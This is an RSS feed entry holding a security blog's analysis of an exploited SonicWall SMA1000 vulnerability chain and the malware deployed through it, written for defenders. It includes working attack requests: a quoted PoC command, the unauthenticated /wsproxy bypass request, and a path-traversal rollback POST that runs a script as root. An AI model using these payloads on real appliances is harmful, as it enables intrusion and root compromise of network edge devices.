<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>GOTT Labs</title>
    <description>Independent cybersecurity research focused on threat techniques and defensive reality.</description>
    <link>https://danielgott.me/</link>
    <atom:link href="https://danielgott.me/feed.xml" rel="self" type="application/rss+xml"/>
    <pubDate>Thu, 06 Aug 2026 02:20:23 +0000</pubDate>
    <lastBuildDate>Thu, 06 Aug 2026 02:20:23 +0000</lastBuildDate>
    <generator>Jekyll v3.10.0</generator>
    
      <item>
        <title>Tunnel Vision: Sonicwall Insecure Mobile Access</title>
        <description>&lt;p&gt;CVE-2026-15409 and CVE-2026-15410 are the kind of pairing that makes threat actors happy and defenders tired. One is a pre-auth SSRF that turns a VPN appliance’s own WebSocket proxy into a tunnel straight to its internal-only services. The other is a path traversal in a “remove a hotfix” workflow that happily executes whatever you point it at, as root, no questions asked. Chain them together and you’ve got unauthenticated code execution on a SonicWall SMA1000 appliance sitting on the edge of somebody’s network. This isn’t theoretical. UTA0533 was doing this in production since at least late June 2026, and Volexity caught them in the act during an incident response engagement in early July.&lt;/p&gt;

&lt;h2 id=&quot;the-vulnerabilities&quot;&gt;The Vulnerabilities&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;CVE-2026-15409&lt;/strong&gt; (CVSS 10.0) lives in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wsproxy&lt;/code&gt; endpoint of the SMA1000 WorkPlace web portal. This feature exists to proxy WebSocket connections to internal resources for legitimate remote access purposes. The problem is that with the right User-Agent and the right magic prefix on a request parameter, it will happily proxy a connection to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0.0.0.0&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;127.0.0.1&lt;/code&gt;, no authenticated session required. That gets an unauthenticated attacker a WebSocket tunnel directly to services that were only ever supposed to be reachable from inside the box: an Erlang Port Mapper Daemon, a CouchDB instance, and a control service listening on port 8188.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2026-15410&lt;/strong&gt; (CVSS 7.2) is a path traversal in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sysCtrl.execRemoveHotfix&lt;/code&gt;, a method exposed by that same control service. The helper script it invokes, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/local/bin/remove_hotfix&lt;/code&gt;, builds a file path from caller-supplied input without meaningfully constraining it to the rollback directory it’s supposed to live in. Feed it a value like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../../../../../tmp/1234.sh&lt;/code&gt; and it will &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod +x&lt;/code&gt; and execute whatever’s sitting at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/1234.sh&lt;/code&gt;, as root. SonicWall’s own advisory frames this as requiring authenticated administrator access to the Appliance Management Console. In practice, once you’ve tunneled into the control service through the wsproxy bypass, that authentication requirement is a formality you can route around, and Volexity’s forensic reconstruction shows the requirement wasn’t a meaningful obstacle in the observed intrusion at all.&lt;/p&gt;

&lt;p&gt;Individually these are a critical info-disclosure-adjacent bug and a local privilege escalation. Chained, they’re a full pre-auth to root exploit against a VPN appliance, which is about as bad a sentence as you can write in this line of work.&lt;/p&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;p&gt;The public disclosure timeline is compressed, but the actual abuse window is longer and murkier, which is the usual story with edge appliances.&lt;/p&gt;

&lt;ul class=&quot;timeline&quot;&gt;
  &lt;li&gt;&lt;strong&gt;June 22, 2026&lt;/strong&gt;: Earliest confirmed sign of compromise identified by Volexity during forensic review. A setuid binary (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xzfind&lt;/code&gt;, internally named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rootrun&lt;/code&gt;) is written to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/bin/&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;June 22 to 30, 2026&lt;/strong&gt;: KNUCKLEBALL malware deployed, JAR implants injected into a legitimate SonicWall Java process, persistence added, additional privilege escalation artifacts staged in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Early July 2026&lt;/strong&gt;: Volexity engaged for incident response after the customer observed suspicious authentication and lateral movement attempts originating from SonicWall SMA devices.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;July 2, 2026&lt;/strong&gt;: Second compromised appliance rebooted, likely wiping memory-resident implants and other volatile evidence.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;July 9, 2026&lt;/strong&gt;: Rapid7’s MDR team observes targeted zero-day exploitation of internet-facing SMA1000 appliances prior to any public disclosure.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;July 14, 2026&lt;/strong&gt;: SonicWall publishes PSIRT advisory SNWLID-2026-0008, ships hotfix builds 12.4.3-03453 and 12.5.0-02835, and confirms active exploitation. CISA adds both CVEs to the KEV catalog the same day, with a July 17 remediation deadline for federal civilian agencies.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;July 15, 2026&lt;/strong&gt;: SonicWall updates the advisory to credit Volexity’s Sean Koessel and Steven Adair for expanding the IOC list.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;July 16, 2026&lt;/strong&gt;: Rapid7 publishes additional IOCs. Horizon3.ai ships Rapid Response validation tooling.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;July 17, 2026&lt;/strong&gt;: Volexity publishes the full technical writeup of UTA0533’s operation. The same day, Dark Reading reports that Rapid7 has directly attributed a portion of the observed exploitation to Inc ransomware, a double-extortion ransomware-as-a-service group, with at least one case where ransomware deployment was actually achieved.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;July 20, 2026&lt;/strong&gt;: Cybersecurity Dive reports that Huntress has independently confirmed seven impacted customers, attributing the activity to two disparate sets of attackers, separate from both UTA0533 and the Inc-linked actor. Additional lateral movement tradecraft (Impacket’s Secrets Dump and DCSync) is disclosed in the same reporting.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So the honest answer to “when did abuse start” is at least June 22, 2026, three weeks before public disclosure, and that’s just the earliest artifact Volexity happened to find timestamps for. Given this was caught mid-investigation rather than through proactive hunting, earlier undetected activity against other targets is entirely plausible.&lt;/p&gt;

&lt;h2 id=&quot;affected-versions-and-patch-status&quot;&gt;Affected Versions and Patch Status&lt;/h2&gt;

&lt;p&gt;The vulnerabilities affect the &lt;strong&gt;SonicWall SMA1000 Series&lt;/strong&gt; exclusively: models &lt;strong&gt;6210, 7210, and 8200v&lt;/strong&gt;. SSL-VPN functionality on SonicWall firewalls and the separate SMA 100 Series product line are not affected, so don’t go patching the wrong product line out of panic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vulnerable builds observed or referenced across advisories include:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;12.4.3-03245&lt;/li&gt;
  &lt;li&gt;12.4.3-03387&lt;/li&gt;
  &lt;li&gt;12.4.3-03434 (platform-hotfix)&lt;/li&gt;
  &lt;li&gt;12.5.0-02283&lt;/li&gt;
  &lt;li&gt;12.5.0-02624&lt;/li&gt;
  &lt;li&gt;12.5.0-02800 (platform-hotfix)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Fixed versions:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;12.4.3-03453 (platform-hotfix) or later&lt;/li&gt;
  &lt;li&gt;12.5.0-02835 (platform-hotfix) or later&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;There is no workaround that fully closes this off. SonicWall and multiple responders are explicit that patching alone is not sufficient either. If your appliance was internet-facing and running a vulnerable build any time between late June and mid-July 2026, you patch and then you go looking for evidence of compromise, in that order of urgency but not as a substitute for each other.&lt;/p&gt;

&lt;h2 id=&quot;proof-of-concept-details&quot;&gt;Proof of Concept Details&lt;/h2&gt;

&lt;p&gt;Rapid7 released a working Python PoC for CVE-2026-15409 targeting the Erlang process on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;localhost:1050&lt;/code&gt;, available at &lt;a href=&quot;https://github.com/remmons-r7/rapid7-CVE-2026-15409&quot;&gt;remmons-r7/rapid7-CVE-2026-15409&lt;/a&gt;. A Metasploit module covering the full chain was reported to be in development as of publication.&lt;/p&gt;

&lt;p&gt;Example invocation from Rapid7’s writeup:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;python3 cve-2026-15409.py --ws-url &apos;wss://192.168.1.46/wsproxy?bmID=-3389c1b25ccd&amp;amp;serviceType=SSH&amp;amp;host=0.0.0.0&amp;amp;port=1050&apos; --ws-user-agent &apos;SMA Connect Agent&apos; --ws-insecure-tls --cookie 10ecad5b446e86864832904cd439b6b70262 --exec &apos;whoami &amp;amp;&amp;amp; id &amp;amp;&amp;amp; pwd &amp;amp;&amp;amp; hostname&apos;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Example output:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Authenticated to SMAAppliance.sma
Peer flags: 0xd07df7fbd
Peer creation: 1784069352
RPC os:cmd/1 =&amp;gt; couchdb
uid=1010(couchdb) gid=1(daemon) groups=1(daemon)
/opt/couchdb
SMAAppliance.sma
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Notably, the Erlang distribution cookie used to authenticate to port 1050 is hardcoded on production appliances, so no credential guessing or brute forcing is required once the tunnel is up. Rapid7 also flagged that a separately released PoC targeting the sysCtrl control service depends on a hardcoded cookie value that only matches the publicly downloadable virtual SMA appliance, not the physical appliances Volexity examined in the wild, which explains why the actual in-the-wild path to the control service ran through CouchDB rather than the control service’s own authentication scheme.&lt;/p&gt;

&lt;h2 id=&quot;exploitation-analysis&quot;&gt;Exploitation Analysis&lt;/h2&gt;

&lt;p&gt;Here’s where it gets fun. The chain has four moving parts: the wsproxy bypass, the internal service you land on, the privilege escalation, and the persistence mechanism the attacker builds once they’ve got root. Let’s walk through each.&lt;/p&gt;

&lt;h3 id=&quot;stage-1-the-wsproxy-bypass-cve-2026-15409&quot;&gt;Stage 1: The wsproxy Bypass (CVE-2026-15409)&lt;/h3&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/wsproxy&lt;/code&gt; endpoint exists to let authenticated SMA users tunnel to internal resources over WebSockets, the kind of thing you’d expect for RDP or SSH proxying through a remote access gateway. The bypass hinges on two conditions:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;User-Agent&lt;/code&gt; header is set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SMA Connect Agent&lt;/code&gt;, mimicking the appliance’s own native client rather than a browser.&lt;/li&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bmID&lt;/code&gt; parameter begins with the literal prefix &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-3389&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Satisfy both and the appliance will establish a WebSocket tunnel to whatever &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;host&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;port&lt;/code&gt; you specify, without a valid SMA session cookie. Here’s the request shape, distilled to its essential elements:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /wsproxy?bmID=-3389&amp;lt;suffix&amp;gt;&amp;amp;serviceType=SSH&amp;amp;host=0.0.0.0&amp;amp;port=&amp;lt;target-port&amp;gt;
User-Agent: SMA Connect Agent
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A successful bypass gets you a WebSocket protocol upgrade:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;HTTP/1.1 101 Switching Protocols
Sec-WebSocket-Protocol: binary
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;serviceType&lt;/code&gt; is nominally checked against expected values like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SSH&lt;/code&gt;, but functionally it doesn’t gate what &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;host&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;port&lt;/code&gt; you can reach. Volexity confirmed external reachability to three localhost-bound services through this bypass:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;127.0.0.1:1050&lt;/code&gt; - CouchDB’s Erlang distribution port&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;127.0.0.1:1051&lt;/code&gt; - Erlang Port Mapper Daemon (EPMD)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;127.0.0.1:8188&lt;/code&gt; - the SMA control service, exposed over XML-RPC-ish HTTP&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A read-only EPMD names query against port 1051 returns the registered node name &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;couchdb&lt;/code&gt; on port 1050, which is a nice bit of free recon: the tunnel tells you exactly what’s listening before you even try to touch it.&lt;/p&gt;

&lt;h3 id=&quot;stage-2-landing-on-couchdb&quot;&gt;Stage 2: Landing on CouchDB&lt;/h3&gt;

&lt;p&gt;This is the part Volexity couldn’t fully reconstruct from artifacts alone, and they’re upfront about that gap. What’s known:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The SMA appliance ships with a bundled CouchDB instance, localhost-only by design, that comes preconfigured with the credential pair &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;admin:admin&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;CouchDB’s Erlang distribution protocol is reachable through the wsproxy tunnel on port 1050, and Rapid7’s public PoC demonstrates unauthenticated remote code execution against this same Erlang endpoint using a hardcoded distribution cookie.&lt;/li&gt;
  &lt;li&gt;Timestamps in Volexity’s investigation show a script being written to disk through the CouchDB user’s context at roughly the same time as observed connections to port 1050.&lt;/li&gt;
  &lt;li&gt;That script’s job was to read &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/sys/class/dmi/id/product_uuid&lt;/code&gt;, a world-readable file that, once known, can be transformed into the Basic Auth password for the control service on port 8188 (dashes stripped, then Base64-encoded).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Whether the actual technique used against CouchDB was identical to Rapid7’s Erlang RPC method, some CouchDB HTTP API abuse, or something else entirely, is something Volexity flags as unconfirmed. What’s not in question is the outcome: command execution in the context of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;couchdb&lt;/code&gt; user, evidenced by a file at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/1234.sh&lt;/code&gt; owned by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;couchdb:daemon&lt;/code&gt; with permissions &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-rwx--x--x&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Worth noting: Volexity separately identified that the control service’s Basic Auth can be bypassed entirely on many physical appliances, because the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;product_uuid&lt;/code&gt; value used to derive the password is a default UUID shared across large numbers of devices from the same hardware vendor, unrelated to the specific appliance’s identity. Virtual appliances weren’t affected by this particular shortcut. Volexity states this authentication weakness does not appear to be what UTA0533 actually used, since the actor still went to the trouble of reading the file locally rather than assuming the default value, but it’s a second, independent way into the same control service that anyone auditing these appliances should be aware of.&lt;/p&gt;

&lt;h3 id=&quot;stage-3-root-via-path-traversal-cve-2026-15410&quot;&gt;Stage 3: Root via Path Traversal (CVE-2026-15410)&lt;/h3&gt;

&lt;p&gt;With the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;product_uuid&lt;/code&gt; in hand and access to the control service on port 8188, the attacker can call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sysCtrl.execRemoveHotfix&lt;/code&gt;. This method exists to let administrators roll back applied hotfixes. It builds an execution path like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;__rollback=&quot;/var/lib/aventail/avp/rollback/${__hotfix}&quot;
chmod +x ${__rollback}
exec ${__rollback} --unattended
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;${__hotfix}&lt;/code&gt; is caller-controlled and insufficiently sanitized against traversal sequences. Supply &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../../../../../tmp/1234.sh&lt;/code&gt; as the hotfix value and the resulting path resolves to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/1234.sh&lt;/code&gt;, well outside the intended rollback directory. The helper &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod +x&lt;/code&gt;’s it and executes it with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--unattended&lt;/code&gt;, as root, because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;remove_hotfix&lt;/code&gt; runs in a privileged context regardless of who or what asked it to run.&lt;/p&gt;

&lt;p&gt;Rapid7’s reconstruction shows this can also be reached through the web management console via an authenticated &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rollbackConfirm.action&lt;/code&gt; POST:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;POST /rollbackConfirm.action HTTP/1.1
Host: 192.168.181.46:8443
Content-Type: application/x-www-form-urlencoded

csrfToken=GFEJUCQBUZOLUCCOO3YBA8G30ZE9VKDP&amp;amp;command=rollback&amp;amp;rollbackUpgradeTime=&amp;amp;hotfix=../../../../../tmp/1234.sh&amp;amp;rollbackHotfixTime=
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Process monitoring during exploitation captures the privileged chain cleanly:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;CMD: UID=0 PID=10355 | chmod +x /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh
CMD: UID=0 PID=10355 | /bin/bash /var/lib/aventail/avp/rollback/../../../../../tmp/1234.sh --unattended
CMD: UID=0 PID=10361 | /usr/bin/python3 /usr/local/ctrl-service/bin/ctrl-service.py
CMD: UID=0 PID=11124 | shutdown -r now
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That last line matters: if the supplied hotfix file exists and executes, the appliance reboots shortly after as part of the normal rollback workflow. That reboot is a side effect the attacker has to plan around, and as we’ll get to, it’s also an accidental gift to defenders in at least one case.&lt;/p&gt;

&lt;h3 id=&quot;stage-4-persistence-and-the-malware&quot;&gt;Stage 4: Persistence and the Malware&lt;/h3&gt;

&lt;p&gt;Once root is established, UTA0533 didn’t sit on a shell. They built durable, memory-resident access with a purpose-built loader Volexity calls &lt;strong&gt;KNUCKLEBALL&lt;/strong&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;deploy_new.py&lt;/code&gt;), dropped to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/lib/python3.11/site-packages/&lt;/code&gt;. The script’s job is to inject two Java payloads directly into the memory of a legitimate, already-running SonicWall process, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;workplace.startup.CommandStartup&lt;/code&gt;, rather than dropping a standalone malicious binary that antivirus or file integrity monitoring might catch.&lt;/p&gt;

&lt;p&gt;The mechanics: KNUCKLEBALL enumerates &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc/&amp;lt;pid&amp;gt;/cmdline&lt;/code&gt; to find the target JVM’s process ID, then uses the Java Attach API (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/.attach_pid&amp;lt;PID&amp;gt;&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/.java_pid&amp;lt;PID&amp;gt;&lt;/code&gt;) to load two Base64-encoded JAR files as instrumentation agents:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;load instrument false &amp;lt;path&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Before injection, it symlinks the agents’ internal log files (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/agent_wp8.log&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/tmp/agent_wp9.log&lt;/code&gt;) to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/dev/null&lt;/code&gt;, so the injected code never leaves a log trail on disk. After injection succeeds, both staged JAR files are deleted from disk entirely. The only things left behind are the loaded classes sitting in the JVM’s memory and two new proxy routes quietly added to the local NGINX Unit config over its Unix socket:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[
  {
    &quot;match&quot;: { &quot;uri&quot;: &quot;/__api__/login&quot; },
    &quot;action&quot;: { &quot;rewrite&quot;: &quot;/workplace/error.jsp&quot;, &quot;proxy&quot;: &quot;http://127.0.0.1:8085&quot; }
  },
  {
    &quot;match&quot;: { &quot;uri&quot;: &quot;/__api__/logout&quot; },
    &quot;action&quot;: { &quot;rewrite&quot;: &quot;/workplace/dialogs/errorDialog.jsp&quot;, &quot;proxy&quot;: &quot;http://127.0.0.1:8085&quot; }
  }
]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Those two implants are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Suo5&lt;/strong&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;agent_wp8.jar&lt;/code&gt;), the open-source HTTP forwarding proxy tool, injected verbatim except for an added user-agent gate, targeting the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;com/aventail/jsp/workplace/error_jsp&lt;/code&gt; class.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;ORANGETAIL&lt;/strong&gt; (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;agent_wp9.jar&lt;/code&gt;), a custom webshell functionally modeled on the well-known Behinder tool but rewritten from scratch to avoid Behinder’s fingerprints, targeting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;com/aventail/jsp/workplace/dialogs/errorDialog_jsp&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Both gate access behind an identical, deliberately inconsistent user-agent string:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Mozilla/6.0 (Windows NT 11.0; Win64; x64) AppleWebKit/1537.136 (KHTML, like Gecko) Chrome/149.0.0.1 Safari/1537.136
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There is no browser on Earth producing that exact combination of version numbers, which makes it a fantastic detection hook and a mildly funny attacker mistake.&lt;/p&gt;

&lt;p&gt;ORANGETAIL specifically was engineered to not look like Behinder to signature-based detection: hand-rolled Base64 instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;java.util.Base64&lt;/code&gt;, fully reflective class loading (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Class.forName&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;getMethod&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;invoke&lt;/code&gt;) instead of direct &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;javax.crypto.Cipher&lt;/code&gt; imports, a hardcoded AES-128-ECB key instead of one derived from an authentication password, JSON-wrapped responses instead of raw encrypted bytes, and a 404 response to any request lacking the correct user-agent instead of rendering normally. Every meaningful string in the payload is built character by character via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;String.valueOf()&lt;/code&gt; rather than as plain literals, which is a small but deliberate move against static string-matching detection.&lt;/p&gt;

&lt;p&gt;The net effect: an attacker gets two internet-reachable, memory-resident implants riding on top of a completely legitimate SonicWall JVM process, with no persistent malicious file on disk after the injection completes, and no log trail from the implants themselves.&lt;/p&gt;

&lt;h2 id=&quot;considerations-and-limitations&quot;&gt;Considerations and Limitations&lt;/h2&gt;

&lt;p&gt;This is the section where the gap between “we found evidence of compromise” and “we know everything that happened” opens up, and it’s a wide gap here.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Memory-resident implants leave nothing on disk once loaded.&lt;/strong&gt; Suo5 and ORANGETAIL exist only as loaded classes inside a legitimate JVM’s memory after the staging JARs are deleted. If you’re doing disk forensics on a live-imaged appliance without capturing memory first, you will not find these implants. You’ll find the NGINX Unit config changes and maybe the deleted-file remnants if you’re doing careful filesystem carving, but the actual malicious code is gone the moment the process exits or the box reboots.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A reboot is an anti-forensic event here, whether intentional or not.&lt;/strong&gt; Appliance 2 in Volexity’s investigation had been rebooted on July 2, 2026. Volexity’s own assessment is that this likely wiped the memory-resident backdoors along with other volatile artifacts. Recall that CVE-2026-15410’s own remove_hotfix workflow triggers a reboot as a side effect of successful exploitation. Whether that particular reboot was attacker-triggered cleanup, an unrelated maintenance reboot, or just the mechanical consequence of running the privesc exploit again, the result is the same: the richest evidence source for this intrusion evaporates on restart, and there’s no way after the fact to prove which of those explanations is correct.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Log-only investigation would have missed most of this.&lt;/strong&gt; Volexity is explicit that working from exported logs alone, without a confirmed system-level compromise and on-system evidence to correlate against, makes it genuinely difficult to connect the dots or prove what happened. The logs told them exploitation attempts occurred. They did not, by themselves, tell them root was achieved, malware was loaded, or what that malware did next. It took SSH access, full memory acquisition, and disk imaging to turn “suspicious log entries” into a confirmed, reconstructed kill chain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The CouchDB-to-control-service path has an evidentiary hole.&lt;/strong&gt; Volexity could not conclusively determine the exact technique used to achieve code execution as the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;couchdb&lt;/code&gt; user. They have file ownership, timestamps, and a plausible mechanism (matching Rapid7’s independently developed Erlang RPC PoC), but not a confirmed, first-hand reproduction of what the attacker actually sent. That’s an honest gap, and it’s worth sitting with: even a thorough, well-resourced investigation with full memory and disk access can end up with “this is almost certainly how it happened” rather than “this is exactly how it happened” for one stage of a four-stage chain.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The control service’s default-UUID auth bypass complicates attribution of intent.&lt;/strong&gt; Since a large number of physical SMA1000 appliances ship with the same default hardware UUID, and thus the same derivable control-service password, an investigator finding evidence of control-service access can’t automatically assume the attacker went through the CouchDB path versus just knowing (or guessing) the common default. In this specific case Volexity’s evidence points to the file-read approach, but that determination required the full forensic picture, not just the presence of control-service activity in isolation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Attacker infrastructure resists simple network-based attribution.&lt;/strong&gt; Over 200 distinct source IPs were used across the intrusion, with a mix of commercial VPN exit nodes (ExpressVPN, Mullvad, confirmed via Spur) and other addresses with no discernible shared infrastructure pattern. IP-based blocking or geofencing would have been a losing game here even if it had been attempted in real time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Patching does not evict an attacker who already has root, and some attackers have proven that in practice.&lt;/strong&gt; Rapid7’s incident response lead has since described cases where a customer applied the hotfix, and the threat actor, already established with root-level persistence, simply rolled the appliance’s own upgrade back down to the vulnerable build to restore their access path. That is a genuinely nasty forensic and operational problem: a patched build number in your asset inventory is not evidence of a clean appliance, it may just be evidence of the most recent state the attacker was willing to tolerate. This is the practical argument for treating “patch applied” and “compromise remediated” as two separate checkboxes that both need their own verification, rather than assuming the first implies the second.&lt;/p&gt;

